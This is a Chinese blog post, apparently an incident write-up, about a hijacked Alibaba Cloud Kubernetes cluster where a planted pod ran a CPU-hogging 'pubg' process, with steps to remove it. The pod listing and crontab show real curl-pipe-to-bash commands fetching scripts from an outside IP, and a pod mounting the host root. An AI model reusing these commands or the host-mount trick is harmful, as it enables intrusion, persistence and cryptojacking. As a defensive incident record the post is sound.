阿里云kubernetes遭入侵pubg进程占用cpu资源100%解决方法

发现服务器CPU占用100%,通过top命令发现pubg -c config.json -t 2占用CPU资源,kill进程会自动启动。黑客入侵方式是kubernetes创建pod。

Name:           kube-api-zbplw
Namespace: default
Node: 120.79.2.25/120.79.2.25
Start Time: Tue, Dec :: +
Labels: <none>
Status: Succeeded
IP: 172.17.36.4
Controllers: <none>
Containers:
centos:
Container ID: docker://c293e7063e2f9c38939d24f707cb752a0b76def937b3f30d784fe8202d14b01d
Image: centos
Image ID: docker-pullable://docker.io/centos@sha256:3b1a65e9a05f0a77b5e8a698d3359459904c2a354dc3b25ae2e2f5c95f0b3667
Port:
Command:
/bin/sh
-c
/usr/bin/curl -s http://35.194.156.203/obi.sh | bash -s;sleep 120;cat /mnt/etc/crontab;echo 0
State: Terminated
Reason: Completed
Exit Code:
Started: Wed, Dec :: +
Finished: Wed, Dec :: +
Ready: False
Restart Count:
Volume Mounts:
/mnt from hahaha-volume (rw)
Environment Variables: <none>
Conditions:
Type Status
Initialized True
Ready False
PodScheduled True
Volumes:
hahaha-volume:
Type: HostPath (bare host directory volume)
Path: /
QoS Class: BestEffort
Tolerations: <none>
Events:
FirstSeen LastSeen Count From SubObjectPath Type Reason Message
--------- -------- ----- ---- ------------- -------- ------ -------
1d 24m {kubelet 120.79.2.25} Warning FailedSync Error syncing pod, skipping: failed to "StartContainer" for "POD" with ErrImagePull: "image pull failed for registry.access.redhat.com/rhel7/pod-infrastructure:latest, this may be because there are no credentials on this request. details: (open /etc/docker/certs.d/registry.access.redhat.com/redhat-ca.crt: no such file or directory)"

解决方法

1,删除pod

kubectl delete pod kube-api-zbplw

2,修改crontab配置。

cat /etc/crontab
* * * * * root /usr/bin/curl -s http://35.194.156.203/steam.sh | /bin/bash -s

3,关闭crontab,清除crontab配置,再kill pubg进程,问题解决。

service crond stop
上一篇:自己封装的一个LoadRes组件


下一篇:面试题:手写jquery要求考虑插件扩展性